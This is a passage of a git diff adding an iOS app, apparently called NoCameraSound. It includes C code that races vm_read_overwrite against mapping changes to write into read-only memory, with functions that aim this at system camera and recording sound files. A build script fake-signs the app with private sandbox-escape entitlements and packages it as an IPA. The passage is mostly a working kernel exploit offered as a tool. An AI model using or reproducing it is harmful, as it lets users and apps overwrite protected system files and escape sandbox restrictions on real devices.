+ VM_FLAGS_ANYWHERE); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate to reserve e2+e0"); + + /* make 1st allocation in our reserved space */ + kr = vm_allocate(mach_task_self(), + &e2, + ctx->obj_size, + VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(240)); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate e2"); + /* initialize to 'B' */ + memset((char *)e2, 'B', ctx->obj_size); + + /* map our read-only target memory right after */ + ctx->e0 = e2 + ctx->obj_size; + kr = vm_map(mach_task_self(), + &ctx->e0, + ctx->obj_size, + 0, /* mask */ + VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(241), + ctx->mem_entry_ro, + 0, + FALSE, /* copy */ + VM_PROT_READ, + VM_PROT_READ, + VM_INHERIT_DEFAULT); + T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() mem_entry_ro"); + + /* let the racing thread go */ + pthread_mutex_unlock(&ctx->mtx); + /* wait a little bit */ + usleep(100); + + /* trigger copy_unaligned while racing with other thread */ + kr = vm_read_overwrite(mach_task_self(), + e5, + ctx->obj_size, + e2 + overwrite_length, + &copied_size); + T_QUIET; + T_ASSERT_TRUE(kr == KERN_SUCCESS || kr == KERN_PROTECTION_FAILURE, + "vm_read_overwrite kr %d", kr); + switch (kr) { + case KERN_SUCCESS: + /* the target was RW */ + kern_success++; + break; + case KERN_PROTECTION_FAILURE: + /* the target was RO */ + kern_protection_failure++; + break; + default: + /* should not happen */ + kern_other++; + break; + } + /* check that our read-only memory was not modified */ + T_QUIET; T_ASSERT_EQ(((char *)ro_addr)[overwrite_first_diff_offset], overwrite_first_diff_value, "RO mapping was modified"); + + /* tell racing thread to stop toggling mappings */ + pthread_mutex_lock(&ctx->mtx); + + /* clean up before next loop */ + vm_deallocate(mach_task_self(), ctx->e0, ctx->obj_size); + ctx->e0 = 0; + vm_deallocate(mach_task_self(), e2, ctx->obj_size); + e2 = 0; + } + + ctx->done = true; + pthread_join(th, NULL); + + kr = mach_port_deallocate(mach_task_self(), ctx->mem_entry_rw); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "mach_port_deallocate(me_rw)"); + kr = mach_port_deallocate(mach_task_self(), ctx->mem_entry_ro); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "mach_port_deallocate(me_ro)"); + kr = vm_deallocate(mach_task_self(), ro_addr, ctx->obj_size); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate(ro_addr)"); + kr = vm_deallocate(mach_task_self(), e5, ctx->obj_size); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate(e5)"); + + + T_LOG("vm_read_overwrite: KERN_SUCCESS:%d KERN_PROTECTION_FAILURE:%d other:%d", + kern_success, kern_protection_failure, kern_other); + T_PASS("Ran %d times in %ld seconds with no failure", loops, duration); +} + +void startr_0(void) { + g_arg_target_file_path = "/System/Library/Audio/UISounds/photoShutter.caf"; + g_arg_overwrite_file_path = "/etc/hosts"; + unaligned_copy_switch_race(); +} +void startr_1(void) { + g_arg_target_file_path = "/System/Library/Audio/UISounds/begin_record.caf"; + g_arg_overwrite_file_path = "/etc/hosts"; + unaligned_copy_switch_race(); +} +void startr_2(void) { + g_arg_target_file_path = "/System/Library/Audio/UISounds/end_record.caf"; + g_arg_overwrite_file_path = "/etc/hosts"; + unaligned_copy_switch_race(); +} + diff --git a/build.command b/build.command new file mode 100755 index 0000000..bc14905 --- /dev/null +++ b/build.command @@ -0,0 +1,42 @@ +#!/bin/bash + +set -e + +cd "$(dirname "$0")" + +WORKING_LOCATION="$(pwd)" +APPLICATION_NAME=NoCameraSound +rm -rf build +mkdir build + +cd build + +xcodebuild -project "$WORKING_LOCATION/$APPLICATION_NAME.xcodeproj" \ + -scheme "$APPLICATION_NAME" \ + -configuration Release \ + -derivedDataPath "$WORKING_LOCATION/build/DerivedDataApp" \ + -destination 'generic/platform=iOS' \ + clean build \ + ONLY_ACTIVE_ARCH="NO" \ + CODE_SIGN_IDENTITY="" CODE_SIGNING_REQUIRED=NO CODE_SIGN_ENTITLEMENTS="" CODE_SIGNING_ALLOWED="NO" \ + +DD_APP_PATH="$WORKING_LOCATION/build/DerivedDataApp/Build/Products/Release-iphoneos/$APPLICATION_NAME.app" +TARGET_APP="$WORKING_LOCATION/build/$APPLICATION_NAME.app" +cp -r "$DD_APP_PATH" "$TARGET_APP" + +codesign --remove "$TARGET_APP" +if [ -e "$TARGET_APP/_CodeSignature" ]; then + rm -rf "$TARGET_APP/_CodeSignature" +fi +if [ -e "$TARGET_APP/embedded.mobileprovision" ]; then + rm -rf "$TARGET_APP/embedded.mobileprovision" +fi + +ldid -S"$WORKING_LOCATION/entitlements.plist" "$TARGET_APP/$APPLICATION_NAME" +mkdir Payload +cp -r NoCameraSound.app Payload/NoCameraSound.app +zip -vr NoCameraSound.ipa Payload +rm -rf NoCameraSound.app +rm -rf DerivedDataApp +rm -rf Payload +zip -vr share.zip NoCameraSound.ipa \ No newline at end of file diff --git a/entitlements.plist b/entitlements.plist new file mode 100644 index 0000000..ced07a6 --- /dev/null +++ b/entitlements.plist @@ -0,0 +1,38 @@ + + + + + platform-application + + com.apple.security.exception.files.absolute-path.read-write + + / + + com.apple.private.security.no-container + + com.apple.private.security.no-sandbox + + com.apple.private.persona-mgmt + + com.apple.private.security.system-application + + com.apple.private.security.container-manager + + com.apple.private.coreservices.canmaplsdatabase + + com.apple.lsapplicationworkspace.rebuildappdatabases + + com.apple.private.MobileContainerManager.allowed + + com.apple.private.MobileInstallationHelperService.InstallDaemonOpsEnabled + + com.apple.private.MobileInstallationHelperService.allowed + + com.apple.private.uninstall.deletion + + com.apple.private.security.storage.MobileDocuments + + com.apple.managedconfiguration.profiled-access + + +